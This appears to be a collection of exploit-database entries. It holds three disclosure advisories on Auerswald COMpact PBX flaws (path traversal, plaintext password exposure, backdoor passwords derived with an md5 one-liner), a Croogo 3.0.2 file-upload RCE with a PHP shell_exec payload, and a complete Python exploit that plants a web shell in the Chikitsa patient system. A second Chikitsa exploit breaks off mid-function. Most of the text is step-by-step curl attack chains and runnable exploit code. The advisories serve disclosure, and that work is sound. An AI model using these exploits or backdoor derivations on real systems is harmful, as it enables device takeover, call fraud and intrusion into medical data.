versatile IP server a future-proof investment in any business
communication."

(from the vendor's homepage)


More Details
============

RedTeam Pentesting discovered that attackers with administrative access
to the PBX's web-based management interface (as a so-called "sub-admin")
can download arbitrary files from the PBX's file system. This includes
the usually not accessible configuration database which contains the
password for the highly privileged "Admin" user in clear text.


Proof of Concept
================

The command-line HTTP client curl[1] can be used to log into the
management interface of the PBX with the username "sub-admin" and the
password "verysecretpassword" as follows:

------------------------------------------------------------------------
$ curl --anyauth --user sub-admin:verysecretpassword --include \
  https://192.168.1.2/tree

[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]

[{"login":2,"userId":2222,[...]}]
------------------------------------------------------------------------

The server returns a session ID in a cookie which is then used to check
the access level:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Sub-Administrator"}
------------------------------------------------------------------------

In the PBX's user management, the access level "Sub-Administrator" is
used for user accounts who should be able to configure the PBX. There
are also other, higher-level access privileges.

Users with the "sub-admin" privilege can configure music on hold (MOH,
"Wartemusik"), and for example listen to the currently configured music.
In order to do this, the browser requests the music files from the PBX.

The file "alarm1.wav" can be accessed with curl as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?fileName=alarm1.wav'\
'&pageindex=1'

HTTP/1.1 200 OK
Content-Type: audio/x-wav; charset=
Content-Length: 132192
Content-disposition: attachment; filename="alarm1.wav"
[...]
------------------------------------------------------------------------

It was found that the PBX allows directory traversal with the string
"../", so the file "/etc/passwd" can be accessed as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?'\
'fileName=../../etc/passwd&pageindex='

HTTP/1.1 200 OK
[...]
Content-Length: 113
Content-disposition: attachment; filename="../../etc/passwd"
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

The same issue is present in the function for managing logos. A regular
request for the file "logo1.jpg" is shown below:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=logo1.jpg&424'

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: image/jpg; charset=UTF-8
Content-Length: 13986
Content-disposition: attachment; filename="logo1.jpg"
[...]
------------------------------------------------------------------------

In a similar fashion as before, the file "/etc/passwd" can be accessed:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=../../etc/passwd'

HTTP/1.1 200 OK
[...]

root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

For attackers, an interesting file is the SQLite[2] database file
"/data/db/pbx4.db". It can be downloaded as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' 'https://'\
'192.168.1.2/logo_verwaltung_preview?fileName=../../data/db/pbx4.db' \
 > pbx4.db

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5120  100  5120    0     0  16253      0 --:--:-- --:--:-- --:--:-- 16305
------------------------------------------------------------------------

This file contains the password for the highly privileged "Admin" user
account:

------------------------------------------------------------------------
$ sqlite3 pbx4.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.

sqlite> .tables
DbFileVersion  PbxMisc

sqlite> select * from PbxMisc;
[...]
AdminPasswdHash|
AdminLogin|Admin
AdminPin|43214321
AdminPasswd|S3kr1t!
------------------------------------------------------------------------

The username and password can then be used to log into the web
application:

------------------------------------------------------------------------
$ curl --user 'Admin:S3kr1t!' --anyauth --include \
  https://192.168.1.2/tree

HTTP/1.1 200 OK
Set-Cookie: AUERSessionID1234123412=AJXGKBFTCIHSHAC; HttpOnly; Path=/
[...]

[{"login":3,"userId":0,"userName":"",[...]}]
------------------------------------------------------------------------

Checking the access level reveals the new privilege:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=AJXGKBFTCIHSHAC' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Administrator"}
------------------------------------------------------------------------

The user "Admin", in contrast to regular administrative users
("sub-admin"), can access more functions and for example apply firmware
updates.

Workaround
==========

Disable or restrict access to the web-based management if possible.


Fix
===

Upgrade to a firmware version which corrects this vulnerability.


Security Risk
=============

Attackers who already have acquired administrative access as a so-called
"sub-admin" can download a database file and access the password for the
highly privileged "Admin" account. This account can use more functions and
is allowed to apply firmware updates.

On the one hand, exploiting this vulnerability already requires
administrative access. On the other hand, attackers can reach
high-privileged access to the PBX and use functions not available to
"sub-admin" users, like firmware updates. All in all, this vulnerability
is therefore rated to have a medium risk potential.


Timeline
========

2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published


References
==========

[1] https://curl.se
[2] https://www.sqlite.org


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/


-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
            
# Exploit Title: Auerswald COMpact 8.0B - Privilege Escalation
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH

Advisory: Auerswald COMpact Privilege Escalation


RedTeam Pentesting discovered a vulnerability in the web-based
management interface of the Auerswald COMpact 5500R PBX which allows
low-privileged users to access passwords of administrative user accounts.


Details
=======

Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact  4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
Fixed Versions: 8.2B
Vulnerability Type: Privilege Escalation
Security Risk: high
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-005
Advisory Status: published
CVE: CVE-2021-40857
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40857


Introduction
============

"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.

Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."

(from the vendor's homepage)


More Details
============

Attackers with low-privileged user accounts, for example those that are
used by VoIP phones, can log into the web-based management interface of
the COMpact 5500R PBX. Afterwards, the list of user accounts can be
listed and details shown for each user account. Adding the URL parameter
"passwd=1" then also includes the clear text password for each user
account, including administrative ones, which can then be used to
authenticate against the management interface.


Proof of Concept
================

The command-line HTTP client curl[1] can be used as follows to log in
with the username "123" and the password "secret" (shortened and
formatted to increase readability):

------------------------------------------------------------------------
$ curl --anyauth --user 123:secret --include https://192.168.1.2/tree

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=SNKIFTVQBGDRFJB; HttpOnly; Path=/
[...]

[
  {
    "login": 1,
    "userId": 1234,
    "userRufNr": "123",
    "userName": "123",
    "pbxType": 35,
    "pbxId": 0,
    "pbx": "COMpact 5500R",
    "pbxEdit": "Comp.5500R",
    "isActivated": 1,
    "dongleTnCount": 112,
    "currentConfig": 34,
    "cur": "EUR",
    "language": 0,
    "hidePrivat": 1,
    "offlineConfig": false
  },
  [...]
]
------------------------------------------------------------------------

The server returns a JSON document describing the user account as well
as a session ID in a cookie. This session ID can then be used to access
other API endpoints on the PBX. The following listing shows the request to
the path "/logstatus_state", which returns the current access level:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Teilnehmer"}
------------------------------------------------------------------------

The access level in this case is "Teilnehmer" (member).

The list of all other users can be requested as follows:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
  https://192.168.1.2/cfg_data_teilnehmer

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

[
[...]
{"id":1234,"nr":"123","name":"Example User","isSubAdmin":false},
[...]
{"id":2222,"nr":"555","name":"sub-admin other user","isSubAdmin":true}
[...]
]
------------------------------------------------------------------------

Two user accounts are shown in the listing above: the current user's
account with the ID 1234 and a different user account with so-called
"sub-admin" privileges with the ID 2222.

Details about a particular user account with a given ID can be requested
like this:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
  'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=1234'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"rufnr":"123","name":"Example User",[...],
"privatPin":"XXXXXX","privatPass":"XXXXXXXXXX","privatToken":"XXXXXXXXXX",
[...], "isSubadmin":0,[...]}
------------------------------------------------------------------------

In the returned JSON document, the values of the fields for the PIN,
token and password are replaced by "XXX". But if the URL parameter
"passwd" is set to the value 1, the values are returned in plain text:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
 'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=1234&passwd=1'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"rufnr":"123","name":"Example User",[...],
"privatPin":"12345678","privatPass":"secretpassword",
"privatToken":"yyyyyyyyyyyyy",[...], "isSubadmin":0,[...]}
------------------------------------------------------------------------

This can be repeated for other user accounts, for example for the
user account with the ID 2222 shown it the listing earlier. The server
returns the plain text password for the other user account:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
  'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=2222&passwd=1

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"rufnr":"555","name":"sub-admin other user","privatPin":"99999999",
"privatPass":"verysecretpassword","privatToken":"zzzzzzzzzz",
[...],"isSubadmin":1,[...]}
------------------------------------------------------------------------

The password can then be used to log into the PBX with the other user
account:

------------------------------------------------------------------------
$ curl --anyauth --user sub-admin:verysecretpassword --include \
  https://192.168.1.2/tree

[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]

[{"login":2,"userId":2222,[...]}]
------------------------------------------------------------------------

Checking the access level with the new session ID shows that the user is
now logged in with an administrative account:

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Sub-Administrator"}%
------------------------------------------------------------------------


Workaround
==========

Disable or restrict access to the web-based management interface if
possible.


Fix
===

Upgrade to a firmware version which corrects this vulnerability.


Security Risk
=============

Attackers who have acquired access to a low-privileged user account, for
example by extracting such an account from a VoIP phone, can log into
the web-based management interface of the COMpact 5500R PBX and access
clear text passwords for other user accounts, including those with the
"sub-admin" privilege. After logging in with these newly acquired
credentials, attackers can access configuration settings and most other
functions.

They can then for example create new SIP credentials and use them to
call premium rate phone lines they operate to generate revenue. They can
monitor and even redirect all incoming and outgoing phone calls and
record all Ethernet data traffic.

Due to the severe and far-reaching consequences and despite the
prerequisite of having to know an existing low-privilege user account,
this vulnerability rated as a high risk.


Timeline
========

2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published


References
==========

[1] https://curl.se/


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/


-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
            
# Exploit Title: Auerswald COMpact 8.0B - Multiple Backdoors
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH

Advisory: Auerswald COMpact Multiple Backdoors


RedTeam Pentesting discovered several backdoors in the firmware for the
Auerswald COMpact 5500R PBX. These backdoors allow attackers who are
able to access the web-based management application full administrative
access to the device.


Details
=======

Product: COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP, COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)), <= 4.0S (COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP)
Fixed Versions: 8.2B, 4.0T
Vulnerability Type: Backdoor
Security Risk: high
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-007
Advisory Status: published
CVE: CVE-2021-40859
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40859


Introduction
============

"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.

Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."

(from the vendor's homepage)


More Details
============

Two backdoor passwords were found in the firmware of the COMpact 5500R
PBX. One backdoor password is for the secret user "Schandelah", the
other can be used for the highest-privileged user "Admin". No way was
discovered to disable these backdoors.


Proof of Concept
================

The firmware for the COMpact 5500R can be downloaded from the vendor's
homepage[1]. The following details refer to firmware version 7.8A, but
the latest firmware at the time of writing (8.0B) is affected as well.

Inspecting the downloaded file reveals that it is compressed and can be
extracted with the program "gunzip":

------------------------------------------------------------------------
$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23
15:04:43 2020, from Unix, original size 196976698

$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz

$ gunzip 7_8A_002_COMpact5500.gz
------------------------------------------------------------------------

Analysing the resulting file again shows that it is an image file in the
format required by the bootloader "Das U-Boot"[2], a popular bootloader
for embedded devices:

------------------------------------------------------------------------
$ file 7_8A_002_COMpact5500.rom

7_8A_002_COMpact5500.rom: u-boot legacy uImage, CP5500 125850, Linux/ARM,
Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38
2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0
xCECA93E8, Data CRC: 0x99E65DF1
------------------------------------------------------------------------

The program "dumpimage" (included with u-boot) can be used to list the
partitions in the image file:

------------------------------------------------------------------------
$ dumpimage -l 7_8A_002_COMpact5500.rom
Image Name:
CP5500 125850
Created:
Wed Sep 23 17:04:38 2020
Image Type:
ARM Linux Multi-File Image (uncompressed)
Data Size:
196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB
------------------------------------------------------------------------

The larger partition then was extracted into the file "rootfs" as
follows:

------------------------------------------------------------------------
$ dumpimage -i 7_8A_002_COMpact5500.rom -p 1 rootfs
------------------------------------------------------------------------

Contained in the file is an ext2-compatible file system, which was
mounted at "/mnt" and inspected:

------------------------------------------------------------------------
$ file rootfs

rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-
f302d7f20ef1, volume name "7.8A_002_125850."

$ sudo mount -o loop,ro rootfs /mnt

$ cat /mnt/etc/passwd
root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------

The PBX runs the web server lighttpd[3], the configuration files can be
found in the folder "/opt/auerswald/lighttpd". The web server forwards
most requests via FastCGI to the program "/opt/auerswald/web/webserver".
This program can then be analysed, for example using the reverse
engineering program Ghidra[4].

The manual for the PBX reveals that in order to manage the device, users
need to log in with the username "sub-admin". When this string is
searched within the program in Ghidra, the function which checks
passwords on login can be identified.

It can easily be seen that besides the username "sub-admin" the function
also checks for the hard-coded username "Schandelah", which is the
village of Auerswald's headquarter. Further analysis revealed that the
corresponding password for this username is derived by concatenating the
PBX's serial number, the string "r2d2" and the current date, hashing it
with the MD5 hash algorithm and taking the first seven lower-case hex
chars of the result.

All data needed to derive the password can be accessed without
authentication by requesting the path "/about_state", which is also used
on the website the PBX redirects users to who abort the password prompt
(shortened and formatted to increase readability):

------------------------------------------------------------------------
$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{
  "pbx": "COMpact 5500R",
  "pbxType": 35,
  "pbxId": 0,
  "version": "Version 7.8A - Build 002  ",
  "serial": "1234123412",
  "date": "30.08.2021",
  [...]
}
------------------------------------------------------------------------

The password can be derived as follows:

------------------------------------------------------------------------
$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89
------------------------------------------------------------------------

This password can then be used for authentication:

------------------------------------------------------------------------
$ curl --include --user 'Schandelah:1432d89' --anyauth \
  https://192.168.1.2/tree

HTTP/1.1 302 Found
Location: /statics/html/page_servicetools.html
Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/
[...]
------------------------------------------------------------------------

Next, the endpoint "/logstatus_state" can be queried using the returned
session ID to check the access level:

------------------------------------------------------------------------
% curl --cookie 'AUERSessionID1234123412=AXCTMGGCCUAGBSE' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Haendler"}
------------------------------------------------------------------------

The returned access level is "Haendler" (reseller). After login, the web
server redirects to a special service page at the path
"/statics/html/page_servicetools.html". Among other things, it allows to
download a backup of all data on the device, configure audio recording
and reset the password, PIN and token for the user "Admin". Accessing
regular administrative functions is not possible directly with this user
account.

When inspecting the password checking function, a second backdoor can be
found. When the username "Admin" is specified, the given password is
tested against the configured password as well as a password derived in
a similar way from the PBX's serial number, the string "r2d2", the
current date and the configured language. The MD5 hash is taken and the
specified password is tested against the first seven characters of the
lower case hexadecimal hash.

The backdoor password for the "Admin" user can be calculated as follows:

------------------------------------------------------------------------
$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9
------------------------------------------------------------------------

The server returns a session ID for that password and the username
"Admin":

------------------------------------------------------------------------
$ curl --user 'Admin:92fcdd9' --anyauth --include \
  https://192.168.1.2/tree

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/
[...]

[{"login":3,"userId":0,"userName":"",[...]}]
------------------------------------------------------------------------

Checking the access level of the session reveals the status
"Administrator":

------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=MLJHCDLPMXPNKWY' --include \
  https://192.168.1.2/logstatus_state

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]

{"logstatus":"Administrator"}
------------------------------------------------------------------------


Workaround
==========

Disable or restrict access to the web-based management interface if
possible.


Fix
===

Upgrade to a firmware version which corrects this vulnerability.


Security Risk
=============

By inspecting the firmware for the COMpact 5500R PBX, attackers can
easily discover two backdoor passwords. One password is for the secret
user account with the username "Schandelah", the other works as an
alternative password for the user "Admin". Using the backdoor, attackers
are granted access to the PBX with the highest privileges, enabling them
to completely compromise the device. The passwords are derived from the
serial number, the current date and the configured language.

The backdoor passwords are not documented. They secretly coexist with a
documented password recovery function supported by the vendor. No way
was found to disable the backdoor access.

All information needed to derive the passwords can be requested over the
network without authentication, so attackers only require network access
to the web-based management interface.

Due to the ease of exploitation and severe consequences, the backdoor
passwords are rated as a high risk.


Timeline
========

2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published


References
==========

[1] https://www.auerswald.de/de/support/download/firmware-compact-5500
[2] https://www.denx.de/wiki/U-Boot
[3] https://www.lighttpd.net
[4] https://ghidra-sre.org


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/


-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen
            
# Exploit Title: Croogo 3.0.2 - Remote Code Execution (Authenticated)
# Date: 05/12/2021
# Exploit Author: Deha Berkin Bir
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> Tutorial <==

1- Login with your privileged account.
2- Go to the 'Attachments' section. Directory is '/admin/file-manager/attachments'.
3- Click the 'New Attachment' button.
4- Choose a malicious php script and upload it.

########### EXAMPLE SOURCE CODE OF MALICIOUS PHP SCRIPT ####################
<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>
############################################################################

5- Click on the URL of malicious php script you uploaded.
6- The malicious PHP script will be executed.


==> HTTP Request (File Upload) <==

POST /admin/file-manager/attachments/add HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7028631106888453201670373694
Content-Length: 976
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/file-manager/attachments/add
Cookie: csrfToken=bf693e75da3b8cfedb1e097485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb; CAKEPHP=do6gfdgwsl424dabvg1mqp9; GeniXCMS-pJSRyfdghoBRVTDlKhjklmkfhtkbup1r; PHPSESSID=gd59dfghhhg2n10amijq89hih
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_method"

POST
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_csrfToken"

bf693ebed78cee03265197aed57e994e70d7qwdfq231341234dsfasdf2397485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/octet-stream

<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>

-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[fields]"

16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[unlocked]"


-----------------------------7028631106888453201670373694--
            
# Exploit Title: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
from zipfile import ZipFile
import argparse




def login(session , target , username , password):
	print("[+] Attempting to login with the credential")
	url = target + "/index.php/login/valid_signin"
	login_data = {"username" : username , "password" : password}
	session.post(url , data=login_data , verify=False)
	return session


def download_backup( session , target):
	print("[+] Downloading the backup (This may take some time)")
	url = target + "/index.php/settings/take_backup/"
	backup_req = session.get(url , verify=False)
	global tmp_dir
	tmp_dir = os.popen("mktemp -d").read().rstrip()
	open(tmp_dir + "/backup_raw.zip" , "wb").write(backup_req.content)
	print(f"[+] Backup downloaded at {tmp_dir}/backup_raw.zip")


def modify_backup():
	print("[+] Modifying the backup by injecting a backdoor.")
	zf = ZipFile(f'{tmp_dir}/backup_raw.zip', 'r')
	zf.extractall(tmp_dir)
	zf.close()
	open(tmp_dir + "/uploads/media/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")
	os.popen(f"cd {tmp_dir}/ && zip -r backup_modified.zip chikitsa-backup.sql prefix.txt uploads/").read()


def upload_backup(session , target):
	print("[+] Uploading the backup back into the server.(This may take some time)")
	url = target + "/index.php/settings/restore_backup"
	file = open(f"{tmp_dir}/backup_modified.zip" , "rb").read()
	session.post(url , verify=False ,files = {"backup" : ("backup-modified.zip" , file)})
	print(f"[+] Backdoor Deployed at : {target}/uploads/restore_backup/uploads/media/rce.php")
	print(f"[+] Example Output : {requests.get(target +'/uploads/restore_backup/uploads/media/rce.php?cmd=id' , verify=False).text}")




def main():
	parser = argparse.ArgumentParser("""
		        __    _ __   _ __            
  _____/ /_  (_) /__(_) /__________ _
 / ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__  ) /_/ / 
\___/_/ /_/_/_/|_/_/\__/____/\__,_/  
                                     
Chikitsa Patient Management System 2.0.2 Authenticated Remote Code Execution : 
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
	req_args = parser.add_argument_group('required arguments')
	req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
	req_args.add_argument("-u" , "--username" , help="Username" , required=True)
	req_args.add_argument("-p" , "--password" , help="password", required=True)
	args = parser.parse_args()

	target = args.URL
	if target[-1] == "/":
		target = target[:-1]
	username = args.username
	password = args.password

	session = requests.session()
	login(session ,target , username , password)
	download_backup(session , target )
	modify_backup()
	upload_backup(session , target)


if __name__ == "__main__":
	main()
            
# Exploit Title: Chikitsa Patient Management System 2.0.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
import argparse

def login(session , target , username , password):
	print("[+] Attempting to login with the credential")
	url = target + "/index.php/login/valid_signin"
	login_data = {"username" : username , "password" : password}
	session.post(url , data=login_data , verify=False)
	return session

def generate_plugin():
	print("[+] Generating a malicious plugin")
